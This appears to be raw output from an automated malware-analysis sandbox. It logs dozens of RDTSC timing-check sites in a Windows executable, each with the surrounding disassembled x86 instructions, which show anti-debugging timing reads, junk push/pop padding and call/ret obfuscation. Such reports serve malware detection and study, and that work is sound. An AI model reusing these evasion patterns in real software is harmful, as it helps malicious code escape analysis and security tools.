Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1791EAD second address: 1791ECC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650BE6D84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1791ECC second address: 1791ED0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1792337 second address: 1792372 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3650BE6D88h 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 push edi 0x00000011 pop edi 0x00000012 jp 00007F3650BE6D76h 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jbe 00007F3650BE6D7Ch 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1793CAE second address: 1793CB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1793CB2 second address: 1793CB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1793CB8 second address: 1793CC2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3650C99D9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1793CC2 second address: 1793CD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1793CD2 second address: 1793CDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1793CDB second address: 1793D2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007F3650BE6D78h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 mov dword ptr [ebp+122D1DECh], eax 0x00000028 and edx, dword ptr [ebp+122D2E99h] 0x0000002e lea ebx, dword ptr [ebp+1244AB27h] 0x00000034 jng 00007F3650BE6D7Ch 0x0000003a xchg eax, ebx 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e push edi 0x0000003f pop edi 0x00000040 jnp 00007F3650BE6D76h 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1793E26 second address: 1793E2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1793E2A second address: 1793E3F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3650BE6D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1793E3F second address: 1793E43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1793E43 second address: 1793E49 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1793E49 second address: 1793E4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1793E4F second address: 1793E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1793E53 second address: 1793E57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1793E57 second address: 1793EEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F3650BE6D78h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 0000001Ch 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 jmp 00007F3650BE6D87h 0x00000028 push 00000003h 0x0000002a clc 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push eax 0x00000030 call 00007F3650BE6D78h 0x00000035 pop eax 0x00000036 mov dword ptr [esp+04h], eax 0x0000003a add dword ptr [esp+04h], 00000017h 0x00000042 inc eax 0x00000043 push eax 0x00000044 ret 0x00000045 pop eax 0x00000046 ret 0x00000047 or dword ptr [ebp+122D1C7Ah], ecx 0x0000004d push 00000003h 0x0000004f mov ecx, 4AC11F31h 0x00000054 call 00007F3650BE6D79h 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007F3650BE6D82h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1793EEA second address: 1793F19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3650C99DA0h 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007F3650C99D9Dh 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1793F19 second address: 1793F1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1793F1F second address: 1793F33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3650C99DA0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1793F33 second address: 1793F37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1793F37 second address: 1793F7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jnp 00007F3650C99D9Eh 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 ja 00007F3650C99D98h 0x0000001b pop eax 0x0000001c pop eax 0x0000001d mov ecx, 69096950h 0x00000022 lea ebx, dword ptr [ebp+1244AB30h] 0x00000028 adc dl, FFFFFF8Dh 0x0000002b xchg eax, ebx 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F3650C99D9Fh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1793F7E second address: 1793FAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650BE6D80h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3650BE6D85h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1794062 second address: 179407A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3650C99DA0h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 179414C second address: 1794151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17A6E3A second address: 17A6E48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17A6E48 second address: 17A6E4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17A6E4C second address: 17A6E50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17A6E50 second address: 17A6E56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17A6E56 second address: 17A6E67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3650C99D9Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17843C3 second address: 17843D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650BE6D81h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17843D8 second address: 17843DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17843DE second address: 1784405 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650BE6D84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3650BE6D7Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17B34BD second address: 17B34D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99DA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17B378D second address: 17B3793 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17B3793 second address: 17B37B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99DA8h 0x00000007 je 00007F3650C99DA2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17B37B5 second address: 17B37CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F3650BE6D76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007F3650BE6D78h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17B38FF second address: 17B390B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17B3CEA second address: 17B3CF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17B3CF0 second address: 17B3CF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17B3E8B second address: 17B3E91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17B3E91 second address: 17B3E97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17B3E97 second address: 17B3EE2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F3650BE6D8Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push ebx 0x00000010 jmp 00007F3650BE6D7Ah 0x00000015 push edi 0x00000016 pop edi 0x00000017 pop ebx 0x00000018 jmp 00007F3650BE6D7Ch 0x0000001d pushad 0x0000001e je 00007F3650BE6D76h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17B4153 second address: 17B416F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3650C99DA7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17B416F second address: 17B4175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17B4175 second address: 17B417B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17878F2 second address: 17878F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17B4BEB second address: 17B4BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 jl 00007F3650C99DBEh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17B4BFB second address: 17B4BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17B4BFF second address: 17B4C19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99DA6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17B4D74 second address: 17B4D8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F3650BE6D76h 0x00000009 je 00007F3650BE6D76h 0x0000000f popad 0x00000010 pushad 0x00000011 jl 00007F3650BE6D76h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17B4D8D second address: 17B4D93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17B4ED0 second address: 17B4EFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 jg 00007F3650BE6D78h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3650BE6D88h 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17B4EFD second address: 17B4F1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99DA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F3650C99D96h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17B4F1B second address: 17B4F1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17B4F1F second address: 17B4F2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F3650C99D9Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17B51D3 second address: 17B51E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3650BE6D81h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17B7D61 second address: 17B7D8A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F3650C99DA0h 0x00000008 jmp 00007F3650C99D9Eh 0x0000000d pop esi 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17B7D8A second address: 17B7D90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17BD0CC second address: 17BD0EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99D9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3650C99D9Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17BD0EA second address: 17BD0F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F3650BE6D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17BD3B3 second address: 17BD3B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17BD3B7 second address: 17BD3BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C124E second address: 17C1252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C1252 second address: 17C1258 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C1258 second address: 17C1277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007F3650C99D9Ch 0x0000000e jnc 00007F3650C99D96h 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 177D7A7 second address: 177D7C2 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3650BE6D86h 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 177D7C2 second address: 177D7CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 177D7CF second address: 177D7D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 177D7D3 second address: 177D7DF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnl 00007F3650C99D96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17BB81D second address: 17BB84C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3650BE6D82h 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F3650BE6D7Dh 0x00000013 jnc 00007F3650BE6D76h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C3EC0 second address: 17C3EE9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3650C99D96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F3650C99DA7h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C3FB1 second address: 17C3FF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650BE6D83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F3650BE6D81h 0x00000013 jmp 00007F3650BE6D87h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C4107 second address: 17C410B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C41CE second address: 17C41D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C42AA second address: 17C42B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C4826 second address: 17C482B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C4A88 second address: 17C4A92 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3650C99D9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C4D1B second address: 17C4D33 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3650BE6D78h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b js 00007F3650BE6D80h 0x00000011 pushad 0x00000012 push edi 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C4D33 second address: 17C4D7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push eax 0x00000009 call 00007F3650C99D98h 0x0000000e pop eax 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 add dword ptr [esp+04h], 0000001Ah 0x0000001b inc eax 0x0000001c push eax 0x0000001d ret 0x0000001e pop eax 0x0000001f ret 0x00000020 xchg eax, ebx 0x00000021 push esi 0x00000022 pushad 0x00000023 pushad 0x00000024 popad 0x00000025 push ecx 0x00000026 pop ecx 0x00000027 popad 0x00000028 pop esi 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F3650C99DA8h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C5304 second address: 17C530A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C5D27 second address: 17C5DAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 stc 0x00000009 push 00000000h 0x0000000b mov dword ptr [ebp+122D1D4Dh], eax 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F3650C99D98h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d add dword ptr [ebp+122D1D4Dh], edi 0x00000033 jo 00007F3650C99DACh 0x00000039 jmp 00007F3650C99DA6h 0x0000003e xchg eax, ebx 0x0000003f jo 00007F3650C99DAEh 0x00000045 pushad 0x00000046 jmp 00007F3650C99DA4h 0x0000004b push ecx 0x0000004c pop ecx 0x0000004d popad 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F3650C99DA2h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 17C78B1 second address: 17C792C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 jmp 00007F3650BE6D80h 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F3650BE6D78h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 or dword ptr [ebp+122D1FA9h], ebx 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+12447849h], ebx 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push edi 0x00000039 call 00007F3650BE6D78h 0x0000003e pop edi 0x0000003f mov dword ptr [esp+04h], edi 0x00000043 add dword ptr [esp+04h], 0000001Ah 0x0000004b inc edi 0x0000004c push edi 0x0000004d ret 0x0000004e pop edi 0x0000004f ret 0x00000050 xchg eax, ebx 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F3650BE6D7Fh 0x00000058 rdtsc
